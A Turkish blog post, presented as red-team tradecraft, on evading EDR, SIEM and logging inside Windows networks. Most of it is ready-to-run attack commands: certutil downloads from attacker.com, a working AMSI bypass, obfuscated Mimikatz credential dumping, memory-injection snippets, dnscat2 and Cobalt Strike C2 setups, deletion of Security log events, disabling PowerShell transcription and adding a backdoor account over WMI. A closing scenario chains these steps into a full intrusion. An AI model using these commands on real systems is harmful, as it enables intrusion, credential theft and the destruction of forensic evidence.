HACKING

İç Ağlarda Sessiz Kalmak – Tespit Edilmeden Operasyon Yürütme

İç ağ penetrasyon testlerinde (pentest), red team ekiplerinin tespit edilmeden operasyon yürütmesi, modern güvenlik sistemlerini (EDR, SIEM, davranış analitiği) atlatmayı gerektirir. Bu yazıda, iç ağlarda tespit edilmekten kaçınmak için ileri seviye tekniklere odaklanırken, kullanılan komutları ve araçları detaylı bir şekilde açıklayacağız. Her komutun amacı, nasıl çalıştığı gibi bilgilere yer vereceğiz.

1. Tespit Edilme Risklerinin Analizi

Red team operasyonlarında tespit edilme riskleri şunları içerir:

  • Davranış Analitiği: EDR sistemlerinin makine öğrenimi tabanlı anomali tespiti.
  • Ağ Anomalileri: Olağandışı protokoller, port taramaları veya yüksek veri hacmi.
  • Log Korelasyonu: SIEM sistemlerinin birden fazla kaynaktan logları birleştirerek tehdit avcılığı yapması.
  • Hafıza Analizi: EDR’nin bellek içi kötü amaçlı kodları tespit etmesi.

2. İleri Seviye Tespitten Kaçınma Teknikleri

2.1. Living Off the Land Binaries (LOLBins) ile Operasyonlar

Living off the Land Binaries (LOLBins), Windows sistemlerinde varsayılan olarak bulunan araçların kötü amaçlı amaçlarla kullanılmasıdır. Harici araç yüklemesini önleyerek EDR’nin imza tabanlı tespitlerini atlatır.

  • Certutil ile Kod İndirme ve Çalıştırma
    Komut:
certutil.exe -urlfetch -split -f http://attacker.com/malicious.bin malicious.bin
certutil.exe -decode malicious.b64 decoded_payload.exe

Açıklama:

  • İlk komut, certutil.exe -urlfetch, bir dosyayı belirtilen URL’den indirir. -split ve -f parametreleri, dosyanın indirilmesini ve bölünmesini sağlar. Bu, meşru bir sertifika yönetim aracı olan certutil’in kötü amaçlı dosya indirmek için kullanılmasıdır.
  • İkinci komut, certutil.exe -decode, Base64 kodlanmış bir dosyayı çözer ve çalıştırılabilir bir dosyaya dönüştürür.
  • Amaç: Harici bir araç (ör. wget) kullanmadan dosya indirmek ve kod çözmek, böylece EDR’nin yabancı araç tespitini atlatmak.
  • Risk: Aşırı kullanım, SIEM sistemlerinde anormal certutil aktivitesi olarak işaretlenebilir.
  • Çözüm: Komutları aralıklarla çalıştırın ve meşru trafikle karıştırın.

Rundll32 ile In-Memory Payload Çalıştırma
Komut:

rundll32.exe malicious.dll,EntryPoint
  • Açıklama:
    • rundll32.exe, Windows’ta DLL dosyalarını çalıştırmak için kullanılan meşru bir araçtır. Bu komut, bir DLL dosyasını belirtilen giriş noktası (EntryPoint) üzerinden bellekte çalıştırır.
    • Diskte dosya oluşturmadan kötü amaçlı kod çalıştırılır, bu da dosya tabanlı tespit sistemlerini atlatır.
    • Amaç: Disk izlerini bırakmadan payload yürütmek.
    • Risk: EDR sistemleri, rundll32’nin anormal kullanımını davranış analitiği ile tespit edebilir.
    • Çözüm: Meşru bir sürece (ör. explorer.exe) enjeksiyon yaparak gizlenin.

2.2. Gelişmiş Kod Gizleme (Obfuscation) ve Polymorphism

Kod gizleme, statik ve dinamik analiz sistemlerini atlatmak için kullanılır. Polymorphic kod, her çalıştırmada farklı bir imza üretir.

  • PowerShell Obfuscation ile AMSI Bypass
    Komut:
$amsiBypass = [Ref].Assembly.GetType('System.M' + 'anagement.Automation.A' + 'msiUtils').GetField('am' + 'siInitFailed','Non' + 'Public,Static')
$amsiBypass.SetValue($null, $true)
  • Açıklama:
    • Bu kod, PowerShell’in Antimalware Scan Interface (AMSI) özelliğini devre dışı bırakır. AMSI, PowerShell scriptlerini tarayarak kötü amaçlı kodları tespit eder.
    • [Ref].Assembly.GetType ile AMSI’nin dahili bir sınıfına erişilir ve amsiInitFailed alanı true olarak ayarlanarak tarama engellenir.
    • String parçalama (‘System.M’ + ‘anagement…’), statik analiz araçlarının komutu tanımasını zorlaştırır.
    • Amaç: PowerShell scriptlerinin EDR tarafından taranmasını önlemek.
    • Risk: Gelişmiş EDR sistemleri, AMSI manipülasyonunu tespit edebilir.
    • Çözüm: Komutu meşru PowerShell komutlarıyla karıştırın.
  • Polymorphic PowerShell Scripti
    Komut:
I`NV`OKE-E`XPR`ESSION ([STRinG]::JoiN('',('Invoke-Mimikatz -DumpCreds' -split '' | % {$_})))
  • Açıklama:
    • Bu kod, Invoke-Mimikatz -DumpCreds komutunu gizler. Invoke-Expression, dinamik olarak bir string’i çalıştırır.
    • String, karakterlere ayrılarak (-split ”) ve tekrar birleştirilerek (Join) obfuscation yapılır. Bu, statik imza tabanlı taramaları atlatır.
    • Amaç: Mimikatz gibi araçları gizlice çalıştırmak.
    • Risk: Davranış analitiği, aşırı obfuscation’ı şüpheli bulabilir.
    • Çözüm: Kodun meşru PowerShell komutlarıyla karışmasını sağlayın.

2.3. Hafıza Tabanlı Saldırılar ve EDR Bypass

Hafıza tabanlı saldırılar, diskte dosya oluşturmadan kod çalıştırmayı sağlar.

  • Reflective DLL Injection
    Komut (C# ile örnek):
using System.Runtime.InteropServices;

public class ReflectiveInjection {
    [DllImport("kernel32.dll")]
    public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

    public static void InjectDLL(byte[] dllBytes) {
        IntPtr mem = VirtualAlloc(IntPtr.Zero, (uint)dllBytes.Length, 0x1000, 0x40);
        Marshal.Copy(dllBytes, 0, mem, dllBytes.Length);
        // DLL'nin giriş noktasına çağrı yapılır
    }
}
  • Açıklama:
    • VirtualAlloc, bellekte bir bölge ayırır (0x1000 allocation type ve 0x40 execute/read/write izni ile).
    • Marshal.Copy, kötü amaçlı DLL’yi bu bölgeye kopyalar ve diskte dosya oluşturmadan çalıştırılır.
    • Amaç: Dosya tabanlı tespit sistemlerini atlatmak.
    • Risk: EDR, bellekte anormal kod yürütmeyi tespit edebilir.
    • Çözüm: Meşru bir sürece enjeksiyon yapın.
  • Process Hollowing
    Komut (Pseudo-kod):
ProcessStartInfo psi = new ProcessStartInfo("svchost.exe");
Process p = Process.Start(psi);
VirtualAllocEx(p, ...); // Kötü amaçlı kod enjekte edilir
  • Açıklama:
    • Meşru bir süreç (svchost.exe) başlatılır ve askıya alınır.
    • VirtualAllocEx ile süreç belleğine kötü amaçlı kod enjekte edilir ve süreç yeniden başlatılır.
    • Amaç: Meşru bir süreç altında kötü amaçlı kod çalıştırmak.
    • Risk: Bellek analizi, EDR tarafından tespit edilebilir.
    • Çözüm: Sürecin normal davranışına uygun hareket edin.

2.4. Gelişmiş Ağ Kamuflajı

Ağ trafiğini gizlemek, IDS/IPS ve SIEM sistemlerini atlatır.

  • DNS Tunneling ile C2 İletişimi
    Komut:
dnscat2 --dns server=attacker.com,port=53
  • Açıklama:
    • dnscat2, DNS protokolü üzerinden veri aktarımı sağlar. –dns parametresi, C2 sunucusunun adresini ve portunu belirtir.
    • Veri, DNS sorguları (ör. data.attacker.com) içinde gizlenir.
    • Amaç: Ağ trafiğini meşru DNS istekleriyle karıştırmak.
    • Risk: Yüksek hacimli DNS sorguları SIEM tarafından tespit edilebilir.
    • Çözüm: Düşük hacimli ve aralıklı sorgular kullanın.
  • Domain Fronting
    Komut (Cobalt Strike beacon yapılandırması):
set http-get {
    set uri "/cdn/legitpath";
    set host "cdn.amazonaws.com";
}
  • Açıklama:
    • http-get bloğu, C2 iletişiminin HTTP üzerinden yapılacağını belirtir.
    • uri ve host, trafiğin meşru bir CDN (ör. AWS CloudFront) üzerinden yönlendirilmesini sağlar.
    • Amaç: C2 trafiğini meşru bulut servisleriyle karıştırmak.
    • Risk: Bazı bulut sağlayıcıları domain fronting’i engeller.
    • Çözüm: Güncel CDN’leri test edin.

2.5. Log Manipülasyonu ve Forensik İzleri Silme

Log manipülasyonu, blue team’in tehdit avcılığı yapmasını zorlaştırır.

  • Seçici Log Silme
    Komut:
Get-WinEvent -LogName "Security" | Where-Object { $_.Id -eq 4624 } | Remove-WinEvent
  • Açıklama:
    • Get-WinEvent, belirtilen log dosyasındaki (ör. Security) olayları listeler.
    • Where-Object { $_.Id -eq 4624 }, yalnızca başarılı oturum açma olaylarını (Event ID 4624) seçer.
    • Remove-WinEvent, seçilen olayları siler.
    • Amaç: Hedefli log silme ile izleri gizlemek.
    • Risk: Eksik loglar, SIEM tarafından anomali olarak algılanabilir.
    • Çözüm: Seçici silme yapın.
  • PowerShell Loglamasını Kapatma
    Komut:
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\Transcription" -Name "EnableTranscripting" -Value 0
  • Açıklama:
    • Set-ItemProperty, Windows kayıt defterinde PowerShell transkript loglamasını kapatır.
    • EnableTranscripting anahtarını 0 yaparak loglama devre dışı bırakılır.
    • Amaç: PowerShell komutlarının kaydedilmesini önlemek.
    • Risk: Registry değişiklikleri EDR tarafından izlenebilir.
    • Çözüm: Değişiklikleri geri alın.

2.6. EDR Hook’larını Atlatma

EDR sistemleri, sistem çağrılarını izlemek için kullanıcı modunda hook’lar kullanır.

  • Direct Syscalls
    Komut (C ile örnek):
#include <windows.h>

typedef NTSTATUS(NTAPI *NtWriteVirtualMemory_t)(HANDLE, PVOID, PVOID, SIZE_T, PSIZE_T);

void DirectSyscall() {
    NtWriteVirtualMemory_t NtWriteVirtualMemory = (NtWriteVirtualMemory_t)GetProcAddress(GetModuleHandle("ntdll.dll"), "NtWriteVirtualMemory");
    // Syscall ile bellek yazma
}
  • Açıklama:
    • GetProcAddress, ntdll.dll’deki NtWriteVirtualMemory fonksiyonunun adresini alır.
    • Sistem çağrısı doğrudan kernel seviyesinde yapılır, böylece EDR’nin kullanıcı modu hook’ları atlatılır.
    • Amaç: EDR’nin syscall izlemesini atlatmak.
    • Risk: Anormal syscall desenleri tespit edilebilir.
    • Çözüm: Syscall’ları meşru süreç davranışlarıyla karıştırın.

3. Pratik Uygulama: Örnek Senaryo

Bir iç ağda düşük yetkili bir Windows makinesine erişim sağladığınızı varsayalım:

  • Keşif:
    • Komut:
Get-NetTCPConnection | Select-Object LocalAddress, LocalPort, RemoteAddress, RemotePort, State
  • Açıklama: Ağ bağlantılarını listeler, netstat’a alternatif olarak EDR tespitini azaltır.
  • Hak Yükseltme:
    • Komut:
$amsiBypass = [Ref].Assembly.GetType('System.M' + 'anagement.Automation.A' + 'msiUtils').GetField('am' + 'siInitFailed','Non' + 'Public,Static')
$amsiBypass.SetValue($null, $true)
Invoke-Mimikatz -Command "sekurlsa::logonpasswords"
  • Açıklama: AMSI’yi devre dışı bırakarak Mimikatz ile kimlik bilgilerini çalar.
  • Lateral Hareket:
    • Komut:
$command = [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes("net user hacker Password123! /add"))
Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList "powershell -EncodedCommand $command" -ComputerName TARGET_MACHINE
  • Açıklama: Base64 kodlanmış bir komut, WMI ile uzaktan çalıştırılır.
  • C2 İletişimi:
    • Komut:
dnscat2 --dns server=attacker.com,port=53
  • Açıklama: DNS tunneling ile C2 iletişimi kurulur.
  • İzleri Temizleme:
    • Komut:
Get-WinEvent -LogName "Security" | Where-Object { $_.Id -eq 4624 } | Remove-WinEvent

Kullanılabilecek Araçlar

  • Cobalt Strike: Polymorphic C2 ve beacon’lar için.
  • Empire: PowerShell tabanlı post-exploitation.
  • BloodHound: AD ilişki analizi.
  • Mimikatz: Kimlik bilgisi çalma.
  • Invoke-Obfuscation: PowerShell script gizleme.

İç ağlarda sessiz kalmak, red team ekipleri için teknik uzmanlık ve stratejik planlama gerektirir. LOLBins, obfuscation, hafıza tabanlı saldırılar ve ağ kamuflajı, modern güvenlik sistemlerini atlatmada etkilidir. Bu tekniklere ek olarak daha bir çok teknik bulunmaktadır, burada bir kısmını ele aldık.

Başka yazılarda görüşmek üzere.

Bir yanıt yazın

E-posta adresiniz yayınlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir

Başa dön tuşu